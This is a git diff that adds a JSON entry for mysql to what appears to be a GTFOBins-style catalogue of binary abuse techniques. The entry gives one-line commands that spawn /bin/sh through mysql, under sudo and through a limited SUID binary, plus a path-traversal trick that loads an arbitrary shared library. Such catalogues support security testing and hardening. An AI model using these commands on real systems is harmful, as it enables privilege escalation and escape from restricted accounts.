diff --git a/data/mysql.json b/data/mysql.json new file mode 100644 index 0000000..76d8e63 --- /dev/null +++ b/data/mysql.json @@ -0,0 +1,26 @@ +{ + "description": "A valid MySQL server must be available.", + "functions": { + "shell": [ + { + "code": "mysql -e '\\! /bin/sh'" + } + ], + "sudo": [ + { + "code": "sudo mysql -e '\\! /bin/sh'" + } + ], + "limited-suid": [ + { + "code": "./mysql -e '\\! /bin/sh'" + } + ], + "library-load": [ + { + "description": "A MySQL server must accept connections in order for this to work. The following loads the '/path/to/lib.so' shared object.", + "code": "mysql --default-auth ../../../../../path/to/lib" + } + ] + } +} \ No newline at end of file